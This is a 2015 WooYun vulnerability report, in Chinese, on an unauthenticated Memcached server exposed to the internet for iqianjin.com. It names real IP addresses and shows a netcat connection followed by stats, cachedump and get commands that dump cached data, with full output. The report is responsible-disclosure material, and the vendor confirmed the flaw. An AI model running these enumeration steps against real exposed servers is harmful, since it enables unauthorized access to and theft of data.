当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0152104

漏洞标题:Memcached配置不当导致未授权访问

相关厂商:iqianjin.com

漏洞作者: 卡卡西

提交时间:2015-11-05 17:45

修复时间:2015-12-20 17:54

公开时间:2015-12-20 17:54

漏洞类型:系统/服务运维配置不当

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-05: 细节已通知厂商并且等待厂商处理中
2015-11-05: 厂商已经确认,细节仅向厂商公开
2015-11-15: 细节向核心白帽子及相关领域专家公开
2015-11-25: 细节向普通白帽子公开
2015-12-05: 细节向实习白帽子公开
2015-12-20: 细节向公众公开

简要描述:

Memcached配置不当导致未授权访问,外网可以直接连接Memcached,任意添加/修改key

详细说明:

漏洞地址:115.29.146.146:11211
相关域名:licai.iqianjin.com
nc -vv 115.28.153.94 11211
stats items
STAT items:1:number 1
STAT items:1:age 7239046
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 0
STAT items:1:expired_unfetched 0
STAT items:1:evicted_unfetched 0
STAT items:7:number 5
STAT items:7:age 6918675
STAT items:7:evicted 0
STAT items:7:evicted_nonzero 0
STAT items:7:evicted_time 0
STAT items:7:outofmemory 0
STAT items:7:tailrepairs 0
STAT items:7:reclaimed 0
STAT items:7:expired_unfetched 0
STAT items:7:evicted_unfetched 0
STAT items:8:number 32
STAT items:8:age 7239488
STAT items:8:evicted 0
STAT items:8:evicted_nonzero 0
STAT items:8:evicted_time 0
STAT items:8:outofmemory 0
STAT items:8:tailrepairs 0
STAT items:8:reclaimed 0
STAT items:8:expired_unfetched 0
STAT items:8:evicted_unfetched 0
STAT items:9:number 21
STAT items:9:age 7239473
STAT items:9:evicted 0
STAT items:9:evicted_nonzero 0
STAT items:9:evicted_time 0
STAT items:9:outofmemory 0
STAT items:9:tailrepairs 0
STAT items:9:reclaimed 0
STAT items:9:expired_unfetched 0
STAT items:9:evicted_unfetched 0
STAT items:10:number 33
STAT items:10:age 16862734
STAT items:10:evicted 0
STAT items:10:evicted_nonzero 0
STAT items:10:evicted_time 0
STAT items:10:outofmemory 0
STAT items:10:tailrepairs 0
STAT items:10:reclaimed 0
STAT items:10:expired_unfetched 0
STAT items:10:evicted_unfetched 0
STAT items:11:number 48
STAT items:11:age 7239248
STAT items:11:evicted 0
STAT items:11:evicted_nonzero 0
STAT items:11:evicted_time 0
STAT items:11:outofmemory 0
STAT items:11:tailrepairs 0
STAT items:11:reclaimed 0
STAT items:11:expired_unfetched 0
STAT items:11:evicted_unfetched 0
STAT items:12:number 85
STAT items:12:age 18337813
STAT items:12:evicted 0
STAT items:12:evicted_nonzero 0
STAT items:12:evicted_time 0
STAT items:12:outofmemory 0
STAT items:12:tailrepairs 0
STAT items:12:reclaimed 0
STAT items:12:expired_unfetched 0
STAT items:12:evicted_unfetched 0
STAT items:13:number 36
STAT items:13:age 18083900
STAT items:13:evicted 0
STAT items:13:evicted_nonzero 0
STAT items:13:evicted_time 0
STAT items:13:outofmemory 0
STAT items:13:tailrepairs 0
STAT items:13:reclaimed 0
STAT items:13:expired_unfetched 0
STAT items:13:evicted_unfetched 0
STAT items:14:number 25
STAT items:14:age 7239206
STAT items:14:evicted 0
STAT items:14:evicted_nonzero 0
STAT items:14:evicted_time 0
STAT items:14:outofmemory 0
STAT items:14:tailrepairs 0
STAT items:14:reclaimed 0
STAT items:14:expired_unfetched 0
STAT items:14:evicted_unfetched 0
STAT items:15:number 13
STAT items:15:age 17782446
STAT items:15:evicted 0
STAT items:15:evicted_nonzero 0
STAT items:15:evicted_time 0
STAT items:15:outofmemory 0
STAT items:15:tailrepairs 0
STAT items:15:reclaimed 0
STAT items:15:expired_unfetched 0
STAT items:15:evicted_unfetched 0
STAT items:16:number 11
STAT items:16:age 18143153
STAT items:16:evicted 0
STAT items:16:evicted_nonzero 0
STAT items:16:evicted_time 0
STAT items:16:outofmemory 0
STAT items:16:tailrepairs 0
STAT items:16:reclaimed 0
STAT items:16:expired_unfetched 0
STAT items:16:evicted_unfetched 0
STAT items:17:number 10
STAT items:17:age 18077683
STAT items:17:evicted 0
STAT items:17:evicted_nonzero 0
STAT items:17:evicted_time 0
STAT items:17:outofmemory 0
STAT items:17:tailrepairs 0
STAT items:17:reclaimed 0
STAT items:17:expired_unfetched 0
STAT items:17:evicted_unfetched 0
STAT items:18:number 10
STAT items:18:age 18143146
STAT items:18:evicted 0
STAT items:18:evicted_nonzero 0
STAT items:18:evicted_time 0
STAT items:18:outofmemory 0
STAT items:18:tailrepairs 0
STAT items:18:reclaimed 0
STAT items:18:expired_unfetched 0
STAT items:18:evicted_unfetched 0
STAT items:19:number 5
STAT items:19:age 7239187
STAT items:19:evicted 0
STAT items:19:evicted_nonzero 0
STAT items:19:evicted_time 0
STAT items:19:outofmemory 0
STAT items:19:tailrepairs 0
STAT items:19:reclaimed 0
STAT items:19:expired_unfetched 0
STAT items:19:evicted_unfetched 0
STAT items:20:number 7
STAT items:20:age 7239036
STAT items:20:evicted 0
STAT items:20:evicted_nonzero 0
STAT items:20:evicted_time 0
STAT items:20:outofmemory 0
STAT items:20:tailrepairs 0
STAT items:20:reclaimed 0
STAT items:20:expired_unfetched 0
STAT items:20:evicted_unfetched 0
STAT items:21:number 5
STAT items:21:age 7239401
STAT items:21:evicted 0
STAT items:21:evicted_nonzero 0
STAT items:21:evicted_time 0
STAT items:21:outofmemory 0
STAT items:21:tailrepairs 0
STAT items:21:reclaimed 0
STAT items:21:expired_unfetched 0
STAT items:21:evicted_unfetched 0
STAT items:22:number 1
STAT items:22:age 7239422
STAT items:22:evicted 0
STAT items:22:evicted_nonzero 0
STAT items:22:evicted_time 0
STAT items:22:outofmemory 0
STAT items:22:tailrepairs 0
STAT items:22:reclaimed 0
STAT items:22:expired_unfetched 0
STAT items:22:evicted_unfetched 0
STAT items:23:number 2
STAT items:23:age 7239445
STAT items:23:evicted 0
STAT items:23:evicted_nonzero 0
STAT items:23:evicted_time 0
STAT items:23:outofmemory 0
STAT items:23:tailrepairs 0
STAT items:23:reclaimed 0
STAT items:23:expired_unfetched 0
STAT items:23:evicted_unfetched 0
stats cachedump 12 0
ITEM df8cf915d98013613c306cb4b0af740d [897 b; 1428375485 s]
ITEM 1175987ed2c0e9624fafe9c33d75aad9 [1013 b; 1428375485 s]
ITEM 4dd2c8a8354f3a2c65553f1349d8600f [1068 b; 1428375485 s]
ITEM eb5eb6f423fbaca38d4041ec9d727595 [886 b; 1428375485 s]
ITEM 5e159c18098206ec1492303338fc643e [895 b; 1428375485 s]
ITEM 3a00672c18dd70c773ebe07957949964 [981 b; 1428375485 s]
ITEM 07ef8b7f2316531785937fb4a7ccc7bc [851 b; 1428375485 s]
ITEM 35b957e6c044030caeff8eefc1f4e242 [907 b; 1428375485 s]
ITEM ec9d3e55cda0de23f9f3b962bbe9e3fc [1043 b; 1428375485 s]
ITEM 717b65a7b1ad8c3df2429db6c6d0bccd [910 b; 1428375485 s]
ITEM 8354f8488b22af38feb738a113be21cb [1049 b; 1428375485 s]
ITEM cfe918b3769329a60b19d316f2e474a3 [1033 b; 1428375485 s]
ITEM 17f14e6cfe1e38f8c3e1f7ba8128344b [1031 b; 1428375485 s]
ITEM 5573691fa2b24a31ac51e622d6acc8d6 [952 b; 1428375485 s]
ITEM e743d55f2e9db90d736377afc6df1e44 [1013 b; 1428375485 s]
ITEM 58c3f4e7ee974c13a92c209a05e627f4 [1021 b; 1428375485 s]
ITEM bdb8213a5e615ba4535bee266a10c257 [1022 b; 1428375485 s]
ITEM 215b0855f7bee645a278a928f26cd909 [1065 b; 1428375485 s]
ITEM fa68ed7e8f5e2fe22eacd8130f5324b3 [1027 b; 1428375485 s]
ITEM 2088f7b0fc07b48b33ce9c6325f9a0d4 [853 b; 1428375485 s]
ITEM d55baeda5b00c91694ffeb9767cee6eb [853 b; 1428375485 s]
ITEM 41a33fdd068381e6dc77ac4fbfe75751 [976 b; 1428375485 s]
ITEM 5e33e699d01dc9b0aaad25191b02d7b7 [1074 b; 1428375485 s]
ITEM 0bb2bff441ff2920bb9f578cff47c053 [981 b; 1428375485 s]
ITEM b9f37a2606a8749d52abcc614b22e85a [949 b; 1428375485 s]
ITEM 452c31e3a0fe33e2ddaa458cea9aaf94 [935 b; 1428375485 s]
ITEM 3f065b5ec282fb2341d2a96a47cb2905 [1082 b; 1428375485 s]
ITEM fdef1028e0dccf443b73921f0dcca89b [857 b; 1428375485 s]
ITEM 16b365399ba01dc72366b251b92d8763 [1083 b; 1428375485 s]
ITEM ca59d69d3658db91cf3433644470c250 [886 b; 1428375485 s]
ITEM 4784b7a06e85b5cada0d950619941cd0 [942 b; 1428375485 s]
ITEM 707d50033abff9a8bf1e47d3ea54aa27 [1019 b; 1428375485 s]
ITEM 794225004056e57923ca469c81cd14ca [1013 b; 1428375485 s]
ITEM c133f967dc45cfd9f308ddee00b135a4 [1041 b; 1428375485 s]
ITEM 2b8f03d18c26e9ca687a921dbde52c86 [1029 b; 1428375485 s]
ITEM 1e38978fdbdf9f44f5bb0b9103c8e463 [1019 b; 1428375485 s]
ITEM 654415acafa640ad92a6bfae6325dfd4 [989 b; 1428375485 s]
ITEM 9cca736059d792abed3156baa2f238c3 [894 b; 1428375485 s]
ITEM e0a441c4c35e34578e314aa4fa268b5d [853 b; 1428375485 s]
ITEM 5107749a6ef46fb1e52e32c23258b86e [939 b; 1428375485 s]
ITEM 4dd7125d9b63d98d712eb73af9713fd9 [1068 b; 1428375485 s]
ITEM 10d4cce3753d20f681cb759e6f747c5e [1068 b; 1428375485 s]
ITEM 7e95325d6eafaba515447ac71d0336ac [862 b; 1428375485 s]
ITEM d28628660a760a1d37486bfaeb85e497 [969 b; 1428375485 s]
ITEM 691bdc823aef90d276b88eef583b0cd0 [962 b; 1428375485 s]
ITEM 24c092d6999d27f0608403ce627c202e [976 b; 1428375485 s]
ITEM f313abeae52b3d73e3d1a7501cabe79a [976 b; 1428375485 s]
ITEM 2274a645c24f672d5305598d6aeba04e [1029 b; 1428375485 s]
ITEM ed28e6ef0f24ace4ab75e40817264423 [897 b; 1428375485 s]
ITEM a8b151d80939e2ee28ad30acf494ff6a [933 b; 1428375485 s]
ITEM 28edabc67af57c6122f85c0eb2d7ef8b [913 b; 1428375485 s]
ITEM fa2b02ed63a26b00936a8024ae531616 [858 b; 1428375485 s]
ITEM e125615acac4cf93f1bb40cc4b49b9ac [907 b; 1428375485 s]
ITEM b3b914d81c7b6fc365db5d0a545fcda5 [1006 b; 1428375485 s]
ITEM a753017337914faff0ddfe3a85500143 [967 b; 1428375485 s]
ITEM 5bf73903ee821d0c7ec55aa86a164769 [954 b; 1428375485 s]
ITEM 89b2755c6b386c98eec09c77774abe20 [1007 b; 1428375485 s]
ITEM a78904c9dd0d19463b26d6f25220ae84 [985 b; 1428375485 s]
ITEM fe657f6e515ef4e0a64db00067b3e8cc [986 b; 1428375485 s]
ITEM 5bdb2458701f320bf3bc44186b146dc1 [886 b; 1428375485 s]
ITEM bfe1826de6c4bce4bc0496aadf764544 [1021 b; 1428375485 s]
ITEM a9db14d0b508e4e454a116568a23c959 [1021 b; 1428375485 s]
ITEM 7a004d7c48af570fbafbd445a5d997f0 [952 b; 1428375485 s]
ITEM d053463a178f495b8d6f3be0db97a2b6 [952 b; 1428375485 s]
ITEM 8528fffaf83a065a75a0c0e80fa18a06 [949 b; 1428375485 s]
ITEM a8025eb023342d231bdb2624c310e545 [930 b; 1428375485 s]
ITEM c624aa7762f408269bc31d9e00d31d7e [1083 b; 1428375485 s]
ITEM 8c70cfc95d8a90bf85d2ef6fdd39b03d [1083 b; 1428375485 s]
ITEM cbcd680790e9f672e044d5e5d7a4cab9 [930 b; 1428375485 s]
ITEM 16f08dc078a2c908ad9eec8dd5504925 [892 b; 1428375485 s]
ITEM b16aa78e97eb4093cd993ce2b5b3bffd [934 b; 1428375485 s]
ITEM e399bad6b7decc9e82f1ac2b2fdd3539 [1057 b; 1428375485 s]
ITEM 623a5c94575179202dd2480242f0f525 [1057 b; 1428375485 s]
ITEM bbcc134c6852b8cc79b7319df3975821 [1074 b; 1428375485 s]
ITEM 4abaf2c5445a9bd685db29a13d21a0f6 [963 b; 1428375485 s]
ITEM a4a1ab572407dedde3ef0dd7f32faa06 [942 b; 1428375485 s]
ITEM 8499b9ca75d58464f7cd62b618efb764 [930 b; 1428375485 s]
ITEM 12b7b26ac3af32a290279b45fbc58e0a [938 b; 1428375485 s]
ITEM 6d30bb15d179b9dfff0e5f98c1f75e73 [960 b; 1428375485 s]
ITEM 9578464b642069f417b1cb5667944540 [924 b; 1428375485 s]
ITEM a4c834997f13d891f296208ddc812ff3 [960 b; 1428375485 s]
ITEM c1260e901056ba02511a148054aeb227 [855 b; 1428375485 s]
ITEM 2eb602b3c2a7b353a72217684f9c82f9 [968 b; 1428375485 s]
ITEM d8bf8431d44e50cbf6bb8dbab787d9b0 [968 b; 1428375485 s]
ITEM 1f844f07f1f41ff276d4071aac7ee70a [847 b; 1428375485 s]
通过stats cachedump get itemkey 就可以遍历里面所有的数据

漏洞证明:

get 1f844f07f1f41ff276d4071aac7ee70a
VALUE 1f844f07f1f41ff276d4071aac7ee70a 0 847
a:3:{s:1:"x";a:6:{i:0;s:10:"2015-04-02";i:1;s:10:"2015-04-03";i:2;s:10:"2015-04-04";i:3;s:10:"2015-04-05";i:4;s:10:"2015-04-06";i:5;s:10:"2015-04-07";}s:1:"y";a:2:{i:0;a:3:{s:4:"name";s:17:"www.jinhaidai.com";s:4:"data";a:6:{i:0;i:11800;i:1;i:12200;i:2;i:12200;i:3;i:8510;i:4;i:8430;i:5;i:10500;}s:5:"color";s:7:"#89A54E";}i:1;a:3:{s:4:"name";s:15:"www.nobanus.com";s:4:"data";a:6:{i:0;i:439;i:1;i:442;i:2;i:758;i:3;i:460;i:4;i:409;i:5;i:406;}s:5:"color";s:7:"#AA4643";}}s:4:"list";a:2:{s:17:"www.jinhaidai.com";a:6:{s:10:"2015-04-02";i:11800;s:10:"2015-04-03";i:12200;s:10:"2015-04-04";i:12200;s:10:"2015-04-05";i:8510;s:10:"2015-04-06";i:8430;s:10:"2015-04-07";i:10500;}s:15:"www.nobanus.com";a:6:{s:10:"2015-04-02";i:439;s:10:"2015-04-03";i:442;s:10:"2015-04-04";i:758;s:10:"2015-04-05";i:460;s:10:"2015-04-06";i:409;s:10:"2015-04-07";i:406;}}}
END

修复方案:

现在ip访问来源访问115.29.146.146 port 11211 115.28.153.94 port 11211 的访问

版权声明:转载请注明来源 卡卡西@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-11-05 17:54

厂商回复:

谢谢关注。

最新状态:

暂无